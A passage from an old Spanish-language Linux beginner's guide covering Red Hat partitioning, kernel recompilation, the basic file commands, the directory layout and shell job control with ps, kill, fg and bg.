indicaremos el tipo que deber ser primaria, con "t" le cambiamos el tipo a "82" que es SWAP, b) crear la particion Linux Nativa con "n" nuevamente que tambien deber ser primaria el tipo no es necesario cambiarlo por cuanto por defecto crea particiones Linux Nativa (tipo 83). 5. Seleccionar los paquetes que instalaremos, esta es una lista muy extensa, son imprescindibles los paquetes base, C, C++, X11, Network, pero son necesarios casi todos si lo que pretendemos es un servidor de RED, lo superfluo son lo juegos y algunas aplicaciones muy especificas como el dise¤o de circuitos y microprocesadores. Es recomendable instalar el Midnight Commander que es un clon de Norton Comander para Linux el que se encuentra en el paquete de Shells y el "joe" que es un editor de texto similar a WordStar y los IDE de Borland. 6. Ahora el asistente nos ayudara a instalar "lilo" que es el sistema de arranque dual de Linus el que nos permitir la posibilidad de arrancar con mas de un S.O. 7. Si todo salio bien ya hemos terminado con la instalacion Red Hat. Si no es asi aqui comienza nuestro penar y lo que les puedo recomendar es armarse de paciencia y resarle a nuestro santo favorito que encontremos las solucion. #Capitulo III KERNEL ¨Que es el Kernel? El kernel de UNIX actua como intermediario entre los programas, el ordenador y el usuario. En primer lugar, gestiona la memoria de todos los programas o procesos, y asegura que se asignen ciclos del microprocesador a cada uno. Ademas, proporciona una interfaz portable para que los programas hablen facilmente con su hardware. ¨Para que recompilar el kernel? Las nuevas versiones normalmente ofrecen la posibilidad de entenderse con mas accesorios hardware (o sea, incluyen mas drivers), se ejecutan mas rapidamente, son mas estables o corrigen errores de otras versiones. Ademas la recompilacion nos permitir adecuar el nucleo a el hardware que tenemos pudiendo de esta manera acceder por ejemplo a placas de sonido, video, etc. Otra de las ventajas es que podemos seleccionar que sistemas de archivos vamos a necesitar por ejemplo en mi caso unicamente accedo a sistemas Vfat de W95, MS-DOS, ISO9660, Minix y Ext2fs, de manera que no ocupo innecesariamente recursos al incluir sistemas de archivos por ejemplo para OS/2 o Coherent. ¨Que necesito para recompilar el Kernel? Necesitaremos: 1. Las fuentes del Kernel que se proveen con cualquier distribucion de Linux, tambien los podemos actualizar de Internet para poder contar con la ultima version. Aproximadamente los fuentes comprimidos con gzip ocupan 8MB y una vez descomprimido en el disco usan cerca de 30MB. 2. El compilador de C "gcc" incluido en el paquete de "Development" 3. Las librerias "libc". Archivos y directorios. Entre en la cuenta root y vaya al directorio /usr/src. Si instalo las fuentes en la instalacion de Linux, habra aqui un directorio linux, con las fuentes antiguas. Si quiere preservar esas fuentes (y tiene espacio de sobra), renombre (con mv) ese directorio a linux-x.y.z. Es importante que antes de descomprimir las nuevas fuentes no haya ningun directorio /usr/src/linux. Ahora, en /usr/src, descomprima las fuentes con tar xvfzp linux-x.y.z.tar.gz (Si solo tiene un fichero .tar, sin .gz, elimine la z del comando tar). Los contenidos del fichero se expandir n en /usr/src/linux. Vaya ahora a ese directorio y lea el fichero README. Configuracion del Kernel Antes de recompilar debemos configurar que caracteristicas tendra nuestro nuevo kernel para ello primero limpiaremos de anteriores configuraciones el disco con: make mrproper luego comenzaremos con la configuracion en si con: make config invocado en el directorio /usr/src/linux inicia un programa shell- script de configuracion que le preguntar bastantes cosas. Requiere que este instalado bash, con lo que debe existir /bin/bash, /bin/sh o la variable $BASH. Si los fuentes que posee son superiores al 2.0.x, existen dos metodos bastante mas agradables e interactivos de llevar a cabo la configuracion; invocando desde modo texto, en el mismo directorio mencionado anteriormente make menuconfig Iniciar un colorido programa muy agradable y bastante mas funcional que el make config a secas, para llevar a cabo la configuracion del kernel. Observar que su uso es bastante intuitivo; las opciones con un < > indican la posibilidad de modularizar; si en ella presionamos M la seleccionaremos como modulo. Si presionamos ESPACIO aparecer un * indicando que ser incluido en el kernel. Finalmente, si presionamos N lo deseleccionaremos. Las opciones marcadas con [ ] no son modularizables. Si Vd. es un fan de las X, entonces puede arrancar desde un xterm el script equivalente, ejecutando make xconfig Supongo (porque siempre lo ice con make menuconfig) que aparecer ante sus ojos un maravilloso y grafico programa de seleccion y configuracion del kernel bajo X Window . A continuacion describire las opciones que creo son mas importantes a tener en cuenta al momento de compilar de todos modos las que aqui no este comentadas y Ud. Desee conocer cualquiera de los metodos de configuracion usados tendra un acceso a ayuda. Emulacion de coprocesador (kernel math emulation): Si no tiene coprocesador matematico debe contestar `y' a esto. Si tiene coprocesador y contesta `y' la emulacion ser instalada pero no usada; funcionar , pero le ocupar memoria innecesariamente. Ademas, he oido que la emulacion es lenta, lo que se traducir en unas pesadas X-Window. Soporte de discos IDE y MFM/RLL: Normalmente necesitar este soporte, pues es el de los discos habituales en los PCs. Este manejador no gestiona discos SCSI, para eso esta la opcion especifica que luego veremos. Ahora se le preguntar si quiere usar ``old disk-only'' y manejadores ``new IDE''. Tiene que elegir uno de ellos. La diferencia principal es que el nuevo (new IDE) maneja controladoras secundarias y CD-ROMs IDE/ATAPI, hasta cuatro dispositivos, pero ocupa 4 KB mas que el antiguo. Se supone que los nuevos manejadores mejoran tambien velocidad y fiabilidad, en especial si dispone de dispositivos EIDE. Soporte de redes (networking support): En principio, contestaria afirmativamente si la maquina estuviera en una red local o conectada a la Internet con SLIP/PPP. Sin embargo, muchos programas, como ocurre con el sistema XWindow, requieren el soporte de red, asi que lo mejor es contestar `y' siempre. Despues se le preguntar si quiere soporte TCP/IP: conteste afirmativamente aun no estando seguro. Limitar memoria a 16 Mb (Limit memory to low 16MB) Hay controladores de DMA en 386 con problemas para direccionar mas de 16 MB de RAM. Conteste `y' en el caso (raro) de que tenga uno de estos. Comunicacion entre procesos System V (System V IPC): Sinceramente no se bien lo que es pero lei que no es recomendable desactivarlo. Tipo de procesador (Processor type): Deber elegir siempre la CPU que tenga (aunque la versi¢n de 386 funcionar en todas las maquinas). Soporte SCSI (SCSI support): Si tiene dispositivos SCSI, conteste `y'. Se le preguntaran entonces mas cosas: soporte de CD-ROM, discos y que clase de adaptador utiliza. Soportes de tarjetas de red (Network device support): Si tiene tarjeta de red, o quiere usar PPP, SLIP o PLIP (puerto paralelo usado para conectarse a Internet), conteste afirmativamente. El script le preguntara ahora que tarjeta tiene y que protocolo usar. Sistemas de ficheros (Filesystems): El programa le preguntara si quiere soporte para los siguientes sistemas de ficheros: * Standard (minix) - Las nuevas distribuciones no crean sistemas Minix, y mucha gente no las usa para nada, pero puede convenir elegirla. Algunos ``discos de rescate'' usan el sistema Minix como formato de sus disquetes, ya que da menos problemas. * Extended fs - Fue la primera version del sistema extendido, pero ya no se usa. No necesita seleccionarla. * Second extended - Este es el sistema mas usado. Seguramente lo usara Vd. tambien. Seleccione `y'. (Ojo con seleccionarlo como modulo; aunque se puede, el sistema de ficheros en el que este su partici¢n "/" debe estar incluido el kernel no-modularmente, ya que de lo contrario no podra arrancar.) * xiafs filesystem - Hace mucho pudo ser usado, pero ahora mismo no. * msdos - Seleccionelo si quiere acceder desde Linux a sus particiones de MS-DOS o quiere montar disquetes de ese sistema. * umsdos - Este sistema permite a¤adir a un sistema MS-DOS las caracteristicas tipicas de Unix como nombres largos o enlaces. Sirve para quienes quieran instalar Linux en la particion DOS, pero nada mas. * /proc - (una idea robada descaradamente a Bell Labs, si no me equivoco) No se trata de algo que se guarde en el disco, sino de una interfaz por medio de ficheros con la tabla de procesos del nucleo, usada por programas como `ps'. Pruebe a teclear `cat /proc/meminfo' o `cat /proc/devices'. Algunos shells (rc, concretamente) hacen uso de /proc/self/fd (en lugar de /dev/fd) para E/S. Debe contestar afirmativamente a la pregunta: muchas utilidades de Linux lo necesitan. * NFS - Si su maquina esta en red y quiere acceder a sistemas de ficheros remotos con NFS, conteste `y' a esta pregunta. * ISO9660 - Tipico en los CD-ROMs. Si tiene un CD-ROM, seleccione esta opcion. * OS/2 HPFS - Para acceder a disco de OS/2. En el momento de escribir esto, el soporte HPFS es de solo lectura. * System V and Coherent - para particiones de sistemas Coherent y System V (otras variantes de Unix para PC). Conteste "no". * quota support - Seleccionelo si quiere administrar el espacio que consumen en disco los usuarios del sistema. * vfat - En conjuncion con el sistema de fichero fat o msdos nos permitira acceso a las particiones de w95, con soporte de nombres ``largos'' y demas. En el momento de escribir esto, se desconoce si soportar la ``nueva'' fat32 del w95-OSR2. * SMB filesystem support - En conjuncion con el paquete samba nos permitir montar volumenes compartidos por clientes de red NetBios. * SMB w95 bug workaround - Corrije un bug que experimentan los volumenes exportados por servidores w95. * Amiga FFS support - Soporte para el sistema de ficheros Fast File System de Amiga. * UFS filesystem support - Soporte para el Unix FileSystem, empleado por algunos Unix BSD, como SunOS, FreeBSD, NetBSD, NeXTstep. Permite montar dichas particiones o disquetes en modo de solo lectura. * NCP filesystem support - Permite montar volumenes NetWare. Necesitar programas cliente para llevarlo a cabo. Pero. ¨que sistemas de ficheros necesito! Teclee `mount'. La salida ser como esta: blah# mount /dev/hda1 on / type ext2 (defaults) /dev/hda3 on /usr type ext2 (defaults) none on /proc type proc (defaults) /dev/fd0 on /mnt type msdos (defaults) Observe cada linea; la palabra que sigue a `type' es el tipo de sistema usado. En este ejemplo, los sistemas raiz (/) y /usr usan el sistema ``second extended'', ademas usamos sistema ``proc'' y hay montado un disquete MS-DOS. Para saber que sistemas de ficheros usa en el nucleo actual puede teclear `cat /proc/filesystems' siempre y cuando tenga al menos soporte proc. Manejadores de tipo caracter (Character devices): Aqui se activan los manejadores para impresoras (por puerto paralelo), ratones de bus, ratones PS/2 (usado tambien en muchos trackballs de los portatiles), algunos manejadores de cintas y otros. Conteste segun su hardware. Placa de sonido (Sound card): Si tiene placa de sonido conteste `y' y despues otro programa de configuracion le preguntara acerca de la tarjeta de sonido que tiene. Aqui es importante saber el puerto E/S, la IRQ, DMA de nuestra placa de Sonido. Otras opciones de configuracion: No todas las opciones se han listado ya que cambian mucho y otras son completamente evidentes (por ejemplo, el soporte 3Com 3C509). Kernel hacking: Traduccion del fichero README de Linus: La configuraci¢n ``kernel hacking'' suele dar lugar a un nucleo mas grande y/o lento, y puede hacerlo menos estable al configurar algunas rutinas especiales para encontrar errores del nucleo. Deber contestar `n' a la pregunta. El archivo Makefile Tras hacer make config, un mensaje le dira que ya esta preparado el kernel y que "revise el fichero Makefile para opciones adicionales". Por tanto, veamos el Makefile. Probablemente no tendra que cambiar nada, pero debe mirarse. Sus opciones podran cambiarse con el comando "rdev" una vez que el kernel este compilado. Compilacion del Kernel Limpieza y dependencias Cuando se termina de configurar debe ejecutar "make dep" y "make clean. Haga `make dep', lo que preparar las dependencias en poco tiempo, a menos que su PC sea muy lento. Cuando acabe, haga "make clean". Esto elimina ficheros objetos y demas de la version anterior. No olvidar este paso. La compilacion Despues de preparar dependencias, puede ejecutar "make zImage"(esta es la parte que tarda mas tiempo). `make zImage' compilar el nucleo y lo dejar comprimido en el subdirectorio arch/i386/boot/zImage junto a otros ficheros. La "z" inicial indica que el lo que obtenemos es una imagen comprimida del kernel, se descomprime automaticamente al ser ejecutado. Compilacion de Modulos Las ordenes make modules; make modules_install compilaran los modulos que hayamos seleccionado, y los instalaran. No olvidar ejecutar depmod -a en cuanto hayamos arrancado con dicho nucleo. Instalacion del Kernel nuevo La instalacion se hara en el directorio "/boot" si lo que instalamos es RedHat, en otro caso se la hace en "/". Veamos ahora como hacer esto: cd arch/i386/boot chmod 400 zImage rdev -R zImage 1 cp zImage /boot/nuevokernel Solo nos resta retocar el archivo lilo.conf que se encuentra en el directorio /etc. #CAPITULO IV USO Conceptos basicos preliminares Para entender mejor Linux muchas veces haremos comparaciones con DOS, asi que aqui van algunas consideraciones acerca de MS-DOS o Linux. Muchos usuarios de Linux confian en MS-DOS para aplicaciones tales como procesadores de texto. Aunque Linux proporciona sus propios an logos para estas aplicaciones (por ejemplo, TEX), existen varias razones por las que un usuario concreto desearia correr tanto MS-DOS como Linux. Hay muchas aplicaciones comerciales para MS-DOS que no estan disponibles tidavia para Linux, y no hay ninguna razon por la que no pueda usar ambos. Como puede saber, MS-DOS no utiliza completamente la funcionalidad de los procesadores 80386 y 80486. Por otro lado, Linux corre completamente en el modo protegido del procesador y explota todas las caracteristicas del este. Puede acceder directamente a toda su memoria disponible (e incluso mas haya de la disponible, usando RAM virtual). Linux proporciona un interface UNIX completo no disponible bajo MS-DOS el desarrollo y adaptacion de aplicaciones UNIX bajo Linux es cosa facil, mientras que, bajo MS-DOS, Ud. esta limitado a un peque¤o subgrupo de la funcionalidad de programacion UNIX. Al ser Linux un verdadero sistema UNIX, Ud. no tendria estas limitaciones. Podriamos debatir los pros y contras de MS-DOS y Linux durante paginas y paginas. Sin embargo, baste decir que Linux y MS-DOS son entidades completamente diferentes. MS-DOS no es caro (comparado con otros sistemas operativos comerciales), y tiene un fuerte asentamiento en el mundo de los PC's. Ningun otro sistema operativo para PC ha conseguido el nivel de popularidad de MS-DOS, basicamente porque el coste de esos otros sistemas operativos es inaccesible para la mayoria de los usuarios de PCs. Muy pocos usuarios de PC pueden imaginar pagar lo que cuesta por ejemplo un Solaris. Linux, sin embargo, es gratis. Podra emitir sus propios juicios de Linux y MS-DOS basados en sus expectativas y necesidades. Linux no esta destinado a todo el mundo. Este capitulo no presentara gran cantidad de detalles ni cubriria temas muy avanzados. Sino que esta pensado para permitir al nuevo usuario de Linux comenzar a usar el sistema y situarlo en una posicion en la que pueda leer libros mas generales sobre UNIX y entender las diferencias basicas entre otros sistemas UNIX y Linux. A primera vista, UNIX parece como MS-DOS (despues de todo, partes de MS-DOS fueron tomadas de CP/M, el cual fue a su vez inspirado en UNIX incluso muchas de las novedades que Windows 95 pretende presentar son caracteristicas de los sistemas UNIX). Pero, solo las caracteristicas superficiales de UNIX se parecen a MS-DOS. Como ya dijimos, Linux es un sistema operativo multitarea y multiusuario. Bajo UNIX, para que los usuarios puedan identificarse en el sistema, deben registrarse (login), proceso que consta de dos pasos: Introducir el nombre de usuario (login) (el nombre con que ser identificado por el sistema), y una palabra clave o contrase¤a (password), la cual es su llave personal secreta para entrar en la cuenta. Como solo usted conoce su palabra clave, nadie mas podra logearse en el sistema con su nombre de usuario. Por esto es muy importante tomarse unos minutos para elegir una palabra clave que no sea facil de adivinar o desencriptar, es comun en los novatos usar palabras claves que tiene algo que ver con ellos, por ejemplo el nombre de la esposa, madre, hija, fecha de nacimiento, numero de documento, hasta el nombre de su mascota, de esta manera los hacker usan diccionarios con (por ejemplo) nombres comunes de mascotas para lograr adivinar claves de usuarios desprevenidos. En los sistemas UNIX tradicionales, el administrador del sistema asignara el nombre de usuario y una palabra clave inicial en el momento de crear la cuenta de usuario. Ademas, cada sistema UNIX tiene un nombre del sistema (hostname. Este "hostname" le da nombre a la maquina, ademas de caracter y encanto, por ejemplo la mia se llama Tesla, la anterior fue Newton y la anterior Leonardo. El nombre del sistema es usado para identificar maquinas en una red, pero incluso aunque la maquina no este en red, deberia tener un nombre. Antes de poder usar el sistema, deber crear una cuenta de usuario. Esto es necesario porque no es buena idea usar la cuenta de root para los usos normales. La cuenta de root deberia reservarse para el uso de comandos privilegiados y para el mantenimiento del sistema. Shells La forma de comunicarse entre el S.O., el hardware y el usuario es un Shell, en Linux, el mas difundido es "bash" que significa "Bourne again shell" aunque existen varios shells para todos los gustos. En la mayoria de las exploraciones en el mundo de UNIX, estar hablando con el sistema a traves del uso de un shell. Un shell es simplemente un programa que toma la entrada del usuario (ej. las ordenes que teclea) y las traduce a instrucciones. Esto puede ser comparado con el COMMAND.COM de MS-DOS o el 4DOS para los mas exquisitos, los cuales efectuan esencialmente la misma tarea. El shell es solo uno de los interfaces con UNIX hay muchos interfaces posibles como el sistema X Windows, el cual le permite ejecutar comandos usando el raton y el teclado. Antes de continuar, deberiamos ver como salir del sistema. Desde la linea de comandos usaremos la orden "exit" para salir. Hay otras formas, pero esta es la mas facil. Directorios La mayoria de los sistemas UNIX tienen una distribucion de ficheros estandar, de forma que recursos y ficheros puedan ser facilmente localizados. Esta distribucion forma el arbol de directorios, el cual comienza en el directorio "/", tambien conocido como "directorio raiz". Directamente por debajo de "/" hay algunos subdirectorios importantes: /bin, /etc, /dev y /usr, entre otros. Estos a su vez contienen otros directorios con ficheros de configuracion del sistema, programas, etc. En particular, cada usuario tiene un directorio "home". Este es el directorio en el que el usuario guardara sus archivos. Usualmente, los directorios home de los usuarios cuelgan de /home y son nombrados con el nombre del usuario al que pertenecen. El siguiente es un ejemplo de arbol de directorios en linux. /________bin | |__dev | |__etc | |__home_______juan | | | |__pedro |__lib | |__proc | |__tmp | |__usr_______X386 | |__bin | |__emacs | |__etc | |__g++-include | |__include | |__lib | |__local_______bin | | | |__emacs | | | |__etc | | | |__lib | |__man | |__spool | |__src_______linux | |__tmp Comandos Basicos Antes de comenzar es importante destacar que todos los nombres de ficheros y comandos son "case-sensitive" (que hacen diferencia entre mayusculas y minusculas, a diferencia de sistemas operativos como MS-DOS). Por ejemplo, el comando make es diferente a Make o MAKE. Lo mismo ocurre en el caso de nombres de ficheros o directorios. Cambio de directorio: La orden para movernos por la estructura de directorios es cd, abreviacion de "cambio de directorio". Hay que destacar, que la mayoria de las ordenes UNIX mas usadas son de dos o tres letras. La forma de uso de la orden cd es: cd donde es el nombre del directorio al que queremos ir. Si usamos cd sin par metros esto no llevara a nuestro directorio. Tenemos tambien dos puntero uno al directorio padre ".." y otro a si mismo "." Esto tambien fue copiado por DOS. Consultar el directorio actual Para saber en que directorio no escontramos usaremos el comando "pwd" Consultar el contenido de los directorios Una vez que podemos navegar por nuestro arbol de directorio lo mas importantes es poder ver que tenemos en cada uno. Para eso usaremos el comando "ls", ls vendria a ser "dir" del DOS, pero como vernos mas adelante es mucho mas poderoso como todos los comandos de Linux. Ls tiene muchos parametros que van a afectar su comportamiento a todos pero el mas usado sin duda ser "-l" que no mostrara con mas detalle el contenido del directorio. Consultar las paginas del manual En este momento creo que uno de los comandos que mas nos van a ayudar en el aprendizaje de Linux es "man" que siguiendo con las comparaciones con el DOS vendria a ser el "help" con man podremos solicitar informacion de todos los comandos e incluso algunos programas y aplicaciones tiene sus propias paginas de manual. En mi experiencia personal man me ayudo mas veces que cualquier libro. La forma de usarlo es: man Creacion de directorios: Para esto usaremos el comando "mkdir" como en DOS seguido del nombre del directorio a crear. mkdir Copiado de archivos La orden "cp" copia los ficheros listados en la linea de comandos al fichero o directorio pasado como ultimo argumento. Notese como se usa el directorio "." para referirnos al directorio actual. cp Mover archivos Tanto para mover como para renombrar archivos o directorio usaremos el comando "mv" de identica manera a "cp" solo que en esta caso no se preservara el origen. mv Borrado de archivos Para borrar se usa "rm" que viene de remove. Se usa con un parametro que es el nombre del fichero a borrar o una lista de ellos. Tambien lo podemos usar para borrar directorios completos con el parametro "-r" a hay que ser muy prudente y cuidadoso con este comando ya que podemos hacer macanas. rm Mirando los ficheros Las ordenes "more", "cat" y "less" son usadas para ver el contenido de ficheros. More y less muestran el fichero pantalla a pantalla mientras que cat lo muestra entero de una vez. more less cat El sistema de ficheros es la coleccion de ficheros y la jerarquia de directorios de su sistema. Primero cambie al directorio raiz (cd /) y ejecute ls -F. Probablemente vera estos directorios: bin, dev, etc, home, install, lib, mnt, proc, root, tmp, user, usr, y var. La distribucion de directorios y archivos es Unix es muy ordenada y distinta que en DOS, veamos para que usamos cada directorio. Directorio Contenido /bin /bin Es la abreviacion de "binaries", o ejecutables. Es donde residen la mayoria de los programas esenciales del sistema. /dev /dev Los "ficheros" en /dev son conocidos como controladores de dispositivo (device drivers)_son usados para acceder a los dispositivos del sistema y recursos, como discos duros, modems, memoria, etc /etc /etc Contiene una serie de ficheros de configuracion del sistema. Estos incluyen /etc/passwd (la base de datos de usuarios), /etc/rc (guiones de inicializacion del sistema), etc. /sbin /sbin Se usa para almacenar programas esenciales del sistema, que usara el administrador del sistema. /home /home Contiene los directorios "home" de los usuarios. Por ejemplo, /home/juan es el directorio del usuario "juan". /lib /lib Contiene las imagines de las librerias compartidas. Estos ficheros contienen codigo que compartirian muchos programas. /proc /proc Es un "sistema de ficheros virtual". Los ficheros que contiene realmente residen en memoria, no en un disco. Hacen referencia a varios procesos que corren en el sistema, y le permiten obtener informacion acerca de que programas y procesos estan en ejecucion. /usr /usr Es un directorio muy importante. Contienen una serie de subdirectorios que contienen a su vez algunos de los mas importantes y utiles programas y ficheros de configuracion usados en el sistema. /usr/X386 /usr/X386 Contiene todos los ejecutables de X Window, ficheros de configuracion y de soporte. /usr/bin /usr/bin Es el deposito real de programas del sistema UNIX. Contiene la mayoria de los programas que no se encuentran en otras partes como /bin. /usr/include /usr/include Contiene los ficheros de cabecera para el compilador de C. Estos ficheros (la mayoria de los cuales terminan en .h, de "header") declaran estructuras de datos, subrutinas y constantes usados en la escritura de programas en C. Los ficheros que se encuentran en /usr/include/sys son generalmente usados en la programacion de en UNIX a nivel de sistema. Si esta familiarizado con el lenguaje de programacion C, aqui encontrara los ficheros de cabecera como stdio.h, el cual declara funciones como printf(). /usr/local /usr/local Es el directorio donde normalmente pondremos nuestras aplicaciones. /usr/src /usr/src Contiene el codigo fuente (programas por compilar) de varios programas de su sistema. El mas importante es /usr/src/linux, el cual contiene el codigo fuente del kernel de Linux. /var /var Contiene directorios que a menudo cambian su tama¤o o tienden a crecer. Muchos de estos directorios solian residir en /usr, por ejemplo en /var/adm encontraremos varios ficheros de interes para el administrador del sistema, especificamente hist¢ricos del sistema, los cuales recogen errores o problemas con el sistema. #Capitulo V Control de Tareas Tareas y procesos Control de Tareas es una utilidad incluida en muchos shells (incluidas Bash y Tcsh), que permite el control de multitud de comandos o tareas al momento. Antes de seguir, deberemos hablar un poco sobre los procesos. Cada vez que usted ejecuta un programa, usted lanza lo que se conoce como proceso, que es simplemente el nombre que se le da a un programa cuando se esta ejecutando. El comando ps visualiza la lista de procesos que se estan ejecutando actualmente, por ejemplo: /home/jperez# ps PID TT STAT TIME COMMAND 24 3 S 0:03 (bash) 161 3 R 0:00 ps La columna PID representa el identificador de proceso. La ultima columna COMMAND, es el nombre del proceso que se esta ejecutando. Ahora solo estamos viendo los procesos que esta ejecutando jperez. Vemos que hay dos procesos, bash (Que es el shell o interprete de comandos que usa jperez), y el propio comando ps. Como puede observar, bash se ejecuta concurrentemente con el comando ps. Bash ejecuto ps cuando jperez tecleo el comando. Cuando ps termina de ejecutarse (despues de mostrar la tabla de procesos), el control retorna al proceso bash, que muestra el prompt, indicando que esta listo para recibir otro comando. Un proceso que esta corriendo se denomina tarea para el shell. Los terminos proceso y tarea, son sinonimos. Sin embargo, se suele denominar "tarea" a un proceso, cuando es usado en conjuncion con control de tareas, que es un rasgo del shell que permite cambiar entre distintas tareas. Hay muchos mas procesos aparte de estos corriendo en el sistema, para verlos todos, teclearemos el comando "ps -aux". En muchos casos, los usuarios solo ejecutan un trabajo cada vez, que es el ultimo comando que ellos teclearon desde el shell. Sin embargo, usando el control de tareas, usted podra ejecutar diferentes tareas al mismo tiempo, cambiando entre cada uno de ellos conforme lo necesite. Supongamos que esta usando un procesador de textos, y de repente necesita parar y realizar otra tarea, con el control de tareas, usted podria suspender temporalmente el editor, y volver al shell para realizar cualquier otra tarea, y luego regresar al editor como si no lo hubiese dejado nunca. Lo siguiente solo es un ejemplo, hay montones de usos practicos del control de tareas. Primer plano y Segundo plano Un proceso puede estar en Primer plano o en Segundo plano (background). Solo puede haber un proceso en primer plano por vez, el proceso que esta en primer plano, es el que interactua con usted, recibe entradas de teclado, y envia las salidas al monitor. (Salvo, por supuesto, que haya redirigido la entrada o la salida. El proceso en segundo plano, no recibe ninguna se¤al desde el teclado por lo general, se ejecutan en silencio sin necesidad de interaccion. Algunos programas necesitan mucho tiempo para terminar, y no hacen nada interesante mientras tanto. Compilar programas es una de estas tareas, asi como comprimir un fichero grande. No tiene sentido que se siente y se aburra mientras estos procesos terminan. En estos casos es mejor lanzarlos en segundo plano, para dejar el ordenador en condiciones de ejecutar otro programa. Los procesos pueden ser suspendidos. Un proceso suspendido es aquel que no se esta ejecutando actualmente, sino que esta temporalmente parado. Despues de suspender una tarea, puede indicar a la misma que continue, en primer plano o en segundo, segun necesite. Retomar una tarea suspendida no cambia en nada el estado de la misma la tarea continuara ejecutandose justo donde se dejo. Tenga en cuenta que suspender un trabajo no es lo mismo que interrumpirlo. Cuando usted interrumpe un proceso (generalmente con la pulsaci¢n de |ctrl-C|, el proceso muere, y deja de estar en memoria y utilizar recursos del ordenador. Una vez eliminado, el proceso no puede continuar ejecutandose, y deber ser lanzado otra vez para volver a realizar sus tareas. Tambien se puede dar el caso de que algunos programas capturan la interrupcion, de modo que pulsando |ctrl-C| no se para inmediatamente. Esto se hace para permitir al programa realizar operaciones necesarias de limpieza antes de terminar. De hecho, algunos programas simplemente no se dejan matar por ninguna interrupci¢n. Envio a segundo plano y eliminacion procesos Empecemos con un ejemplo sencillo. El comando yes es un comando aparentemente inutil que envia una serie interminable de y-es a la salida estandar. (En realidad es muy util. Si se utiliza una tuberia (o "pipe") para unir la salida de y-es con otro comando que haga preguntas del tipo si/no, la serie de y-es confirmaria todas las preguntas.) /home/jperez# yes y y y y y |ctrl-C| La serie de y-es continuara hasta el infinito, a no ser que usted la elimine, pulsando la tecla de interrupcion. Tambien puede deshacerse de esta serie de y-es redigiriendo la salida estandar de yes hacia /dev/null, que es como una especie de "agujero negro" o papelera para los datos. Todo lo que usted envie alli, desaparecer: /home/jperez# yes > /dev/null. Ahora va mucho mejor, el terminal no se ensucia, pero el prompt de la shell no retorna. Esto es porque yes sigue ejecutandose y enviando esos inutiles y-es a /dev/null. Para recuperarlo, pulse la tecla de interrupcion. Supongamos ahora que queremos dejar que el comando yes siga ejecutandose, y volver al mismo tiempo a la shell para trabajar en otras cosas. Para ello enviaremos a yes a segundo plano, lo que nos permitir ejecutarlo, pero sin necesidad de interaccion. Una forma de mandar procesos a segundo plano es a¤adiendo un caracter "&" al final de cada comando. /home/jperez# yes > /dev/null & [1] 164 Como podra ver, ha regresado a la shell. ¨Pero que es eso de "[1] 164"?, ¨Se esta ejecutando realmente el comando yes?. "[1]" representa el numero de tarea del proceso yes. La shell asigna un numero a cada tarea que se este ejecutando. Como yes es el unico comando que se esta ejecutando, se le asigna el numero de tarea 1. El numero "164" es el numero de identificacion del proceso, o PID, que es el numero que el sistema le asigna al proceso. Ambos numeros pueden usarse para referirse a la tarea como veremos despues. Ahora usted tiene el proceso yes corriendo en segundo plano, y enviando constantemente la se¤al y hacia el dispositivo /dev/null. Para chequear el estado del proceso, utilice el comando interno de la shell jobs: /home/jperez# jobs [1]+ Running yes >/dev/null & Tambien puede usar el comando ps, como mostramos antes, para comprobar el estado de la tarea. Para eliminar una tarea, utilice el comando kill. Este comando toma como argumento un numero de tarea o un numero de ID de un proceso. Esta era la tarea 1, asi que usando el comando /home/jperez# kill %1 matar la tarea. Cuando se identifica la tarea con el numero de tarea, se debe preceder el numero con el caracter de porcentaje ("%"). Ahora que ya hemos matado la tarea, podemos usar el comando jobs de nuevo para comprobarlo: /home/jperez# jobs [1]+ Terminated yes >/dev/null La tarea esta , en efecto, muerta, y si usa el comando jobs de nuevo, no mostrar nada. Tambien podra matar la tarea usando el numero de ID de proceso (PID), el cual se muestra conjuntamente con el ID de tarea cuando arranca la misma. En nuestro ejemplo el ID de proceso es 164, asi que el comando /home/jperez# kill 164 es equivalente a /home/jperez# kill %1 No es necesario usar el "%" cuando nos referimos a una tarea a traves de su ID de proceso. Detencion o parada y relanzamiento de tareas Hay otra manera de poner una tarea en segundo plano. Usted puede lanzarlo como un proceso normal (en primer plano), pararlo, y despues relanzarlo en segundo plano. Primero, lance el proceso yes en primer plano como lo haria normalmente: /home/jperez# yes > /dev/null De nuevo, dado que yes corre en primer plano, no debe retornar el prompt de la shell. Ahora, en vez de interrumpir la tarea con |ctrl-C|, suspenderemos la tarea. El suspender una tarea no la mata: solamente la detiene temporalmente hasta que Ud. la retoma. Para hacer esto usted debe pulsar la tecla de suspender, que suele ser |ctrl-Z|. /home/jperez# yes > /dev/null |ctrl-Z| [1]+ Stopped yes >/dev/null /home/jperez# Mientras el proceso esta suspendido, simplemente no se esta ejecutando. No gasta tiempo ni recursos del sistema en la tarea. Sin embargo, usted puede retomar el proceso de nuevo como si nada hubiera pasado. Continuara ejecutandose donde se dejo. Para relanzar la tarea en primer plano, use el comando fg (del ingles "foreground"). /home/jperez# fg yes >/dev/null La shell muestra el nombre del comando de nuevo, de forma que tenga conocimiento de que tarea es la que ha puesto en primer plano. Pare la tarea de nuevo, con |ctrl-Z|. Esta vez utilice el comando bg para poner la tarea en segundo plano. Esto hara que el comando siga ejecutandose igual que si lo hubiese hecho desde el principio con "&" /home/jperez# bg [1]+ yes >/dev/null & /home/jperez# Y tenemos de nuevo el prompt. El comando jobs deberia decirnos que yes se esta ejecutando, y podemos matar la tarea con kill tal y como lo hicimos antes. Como podemos parar la tarea de nuevo? Si pulsa |ctrl-Z| no funcionara, ya que el proceso est en segundo plano. La respuesta es poner el proceso en primer plano de nuevo, con el comando fg, y entonces pararlo. Como puede observar podr usar fg tanto con tareas detenidas, como con las que esten segundo plano. Hay una gran diferencia entre una tarea que se encuentra en segundo plano, y una que se encuentra detenida. Una tarea detenida es una tarea que no se esta ejecutando, es decir, que no usa tiempo de CPU, y que no esta haciendo ningun trabajo (la tarea aun ocupa un lugar en memoria, aunque puede ser volcada a disco). Una tarea en segundo plano, se esta ejecutando, y usando memoria, a la vez que completando alguna accion mientras usted hace otro trabajo. Sin embargo, una tarea en segundo plano puede intentar mostrar texto en su terminal, lo que puede resultar molesto si esta haciendo hacer otra cosa. Por ejemplo, si usted uso el comando /home/jperez# yes & sin redirigir stdout a /dev/null, una cadena de y-es se mostrar en su monitor, sin que pueda interrumpirlo (no puede hacer uso de |ctrl-C| para interrumpir tareas en segundo plano). Para poder parar esas interminables y-es, tendria que usar el comando fg para pasar la tarea a primer plano, y entonces usar |ctrl-C| para matarla. Otra observacion. Normalmente, los comandos "fg" y "bg" actuan sobre el ultimo proceso parado 